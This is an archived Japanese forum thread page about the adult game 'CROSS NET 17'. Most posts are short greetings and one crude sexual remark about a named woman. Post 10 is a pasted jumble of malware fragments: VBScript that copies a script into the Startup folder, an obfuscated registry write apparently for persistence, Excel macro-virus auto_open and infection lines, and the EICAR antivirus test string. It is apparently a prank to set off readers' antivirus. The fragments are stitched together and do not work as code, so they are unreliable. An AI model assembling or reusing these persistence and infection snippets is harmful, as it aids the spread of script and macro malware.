CROSS NET(クロスネット)17

CROSS NET(クロスネット)17 - リゾートBOINat HGAME

CROSS NET(クロスネット)17 - リゾートBOIN - 暇つぶし2ch■コピペモード
□スレを通常表示
□オプションモード
□このｽﾚｯﾄﾞのURL
■項目テキスト

4:名無したちの午後
 07/03/25 20:17:23 8ONmqWud0
>1 
ｽｼﾞｬたん乙

5:名無したちの午後
 07/03/25 21:23:02 /khjY2H20
>>1 
乙

6:名無したちの午後
 07/03/25 21:58:18 aSiv5jbh0
>>1乙 
スジャータなのにクリープやるよ

7:名無したちの午後
 07/03/25 22:07:06 bzqMT4gU0
>>1 
白いひとさじ乙。

8:名無したちの午後
 07/03/25 22:10:28 KMFsMMtI0
８なら木村あやかとセックスできる

9:名無したちの午後
 07/03/25 22:21:16 mNkWtKGc0
木村あやかってそんないいのか

10:名無したちの午後
 07/03/27 01:29:42 CypWULad0
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) 
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* 
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" 
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) 
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash" 
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) 
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 
kill -9 xz/tSaBh0 
Sub auto_open() 
Application.OnSheetActivate = "check_files" 
End Sub 
Sub check_files() 
c$ = Application.StartupPath 
m$ = Dir(c$ & "＼" & "PERSONAL.XLS") 
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 
whichfile = p + w * 10 
End Sub

次ページ